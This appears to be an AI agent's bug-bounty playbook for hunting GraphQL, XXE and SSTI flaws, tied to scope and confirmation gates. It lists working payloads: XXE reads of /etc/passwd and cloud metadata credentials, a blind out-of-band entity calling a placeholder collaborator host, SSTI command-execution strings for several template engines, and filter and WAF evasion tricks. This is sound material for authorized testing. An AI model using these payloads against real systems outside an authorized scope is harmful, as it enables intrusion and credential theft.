Hunt: GraphQL / XXE / SSTI

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "SSTI XXE GraphQL injection template injection XML external entity" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[ssti]]. Payload arsenals: wiki/payloads/{ssti,xxe,graphql,xslt}.md. Anchors: [[xxe]], [[graphql-attacks]], [[xslt-injection]] (server-side XSLT injection, payloads [[xslt]]).

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GRAPHQL

Signals

/graphql  /api/graphql  /v1/graphql  /query  /gql
POST requests with {"query": "..."} body in Burp history
"apollo", "ApolloClient", "gql`" in JS bundles

Methodology

1. Test introspection:

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'

If blocked, try: {"query":"{ __typename }"}

2. Use InQL (Burp extension) or graphql-voyager to map schema. Push load-bearing queries/mutations to Burp Repeater (Skill(hunt-burp) / the Burp MCP) so the operator can replay them.
3. Find REST/GraphQL overlap - resources modifiable via BOTH APIs
4. Test IDOR: replay queries/mutations with another user's object IDs
5. Test authorization: lower-privilege user calling admin mutations
6. Test for persistent privilege after REST revokes access - GraphQL re-grants?

Evasion

Introspection disabled -> {"query":"{ __typename }"} confirms GraphQL is live; then field-suggestion mining (typo a field, the error often names valid ones), alias-based enumeration for parallel object access, and query batching (array body) to bypass per-request rate limits and some auth checks.

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XXE

Attack Surface (ranked)

/upload  /import  /parse  /convert  /saml/acs  /soap/*
Content-Type: application/xml or text/xml
SVG, DOCX, XLSX, PPTX file upload features

Rank: SAML ACS and document/office upload converters first (parsers there routinely resolve external entities), then any endpoint you can flip to Content-Type: application/xml.

Classic File Read

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

Blind OOB (when no reflection)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR_COLLAB/xxe?x="> %xxe;
]>
<root>test</root>

SVG Upload XXE

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

XXE -> SSRF

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

Evasion

XML/DTD rejected -> switch vector (SVG/DOCX/XLSX/PPTX upload, or a Content-Type: application/xml swap on a JSON endpoint), UTF-16/UTF-7 re-encode the payload, wrap the leaked file through php://filter/convert.base64-encode/resource= for binary/PHP source, and use parameter entities + an external DTD when the inline DOCTYPE is blocked.

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SSTI

Detection Probes (try all - different engines respond to different syntax)

{{7*7}}      -> 49 = Jinja2 / Twig
${7*7}       -> 49 = Freemarker / Velocity / SpEL
<%= 7*7 %>   -> 49 = ERB (Ruby)
#{7*7}       -> 49 = Mako
*{7*7}       -> 49 = Spring Thymeleaf
{{7*'7'}}    -> 7777777 = Jinja2 (not Twig)

RCE Payloads (after fingerprinting engine)

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# ERB (Ruby)
<%= `id` %>

# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

# Spring Thymeleaf SpEL
*{T(java.lang.Runtime).getRuntime().exec('id')}

Prove RCE with a harmless command (id / whoami) first - as the payloads above do. Never lead with a destructive command to demonstrate execution.

Where to Test (ranked)

Highest yield first: PDF/invoice generators and email-template fields (server-side render by design), then name/bio/description fields, invoice names, search queries reflected in results, URL path parameters, and HTTP headers reflected in responses.

Evasion

{{7*7}} filtered or returned literally -> cycle every engine syntax above, then bypass keyword filters via attribute-access variants (request["application"] vs request.application), string concatenation to rebuild blocked names, and hex/unicode escapes. WAF on __class__ -> |attr('__class__').

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Chaining

• SSTI -> RCE. Evaluation confirmed -> escalate to command execution with the engine payload above (safe command first). For sandbox-escape gadget chains and OOB-blind RCE, hand off to hunt-rce.
• XXE -> SSRF / file read. Point the external entity at http://169.254.169.254/... for cloud metadata or an internal service; for the full SSRF surface (redirect bypass, protocol smuggling, Collaborator-gated blind) hand off to hunt-ssrf. File read escalates to source/config disclosure and, through those, to further creds.
• GraphQL IDOR / auth bypass -> object enumeration. Nested-resolver and node(id:) traversal are IDOR - hand off to hunt-idor (two-account method) or hunt-api (BOLA/BFLA, mass assignment, batching).

Confirmation gate

Per hunt-core. Reproduce every claim in a clean session before scaffolding a FIND; a response body on its own is not proof.

SSTI - NOT confirmation: a {{7*7}} (or ${7*7} / <%= 7*7 %>) reflected back literally as {{7*7}}; an error naming the template engine; input echoed unchanged. SSTI - IS confirmation: the expression is evaluated - {{7*7}} renders 49, {{7*'7'}} renders 7777777, or a rendered object comes back (e.g. a dumped config object). RCE is confirmed only when a safe command (id / whoami) returns its real output.

XXE - NOT confirmation: a parser error, a 500, or "entity not allowed" - these prove XML is parsed, not that the entity resolved. XXE - IS confirmation: the external entity resolves to real content - /etc/passwd (or metadata creds) reflected in the response, OR an out-of-band callback.

Blind XXE / blind SSTI need an OOB HIT. When you plant a blind/OOB payload (parameter-entity XXE, or SSTI with no reflected sink), fire it at your own interactsh/Collaborator listener and append a row to targets/<eng>/oob.md:

| <token> | <sink url+param> | xxe | <date> | waiting | |

(columns: token | sink | class | planted | status | source; token = your unique interactsh/Collaborator label). The recon-capture hook flips the row waiting -> HIT on the incoming callback and SessionStart surfaces HITs; that HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind XXE (or blind SSTI) without a HIT row.

Severity

Confirmed	Severity
SSTI -> RCE	critical
SSTI, sandboxed (no RCE)	medium
XXE file read	high (critical if cloud-metadata creds retrieved)
XXE -> SSRF	high
GraphQL IDOR / auth bypass	high

Distill when confirmed (GENERIC, no client host): python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssti.md (XXE -> techniques/web/xxe.md; GraphQL -> techniques/web/graphql-attacks.md).

Deadends

Append: - [ ] XXE on <host> -- XML rejected (JSON-only), SVG sanitized, parameter entities blocked;
              SSTI -- {{7*7}} literal across all engines; GraphQL -- introspection off, no field suggestions

Record what you tried, not just that it failed. The next pass needs the boundary.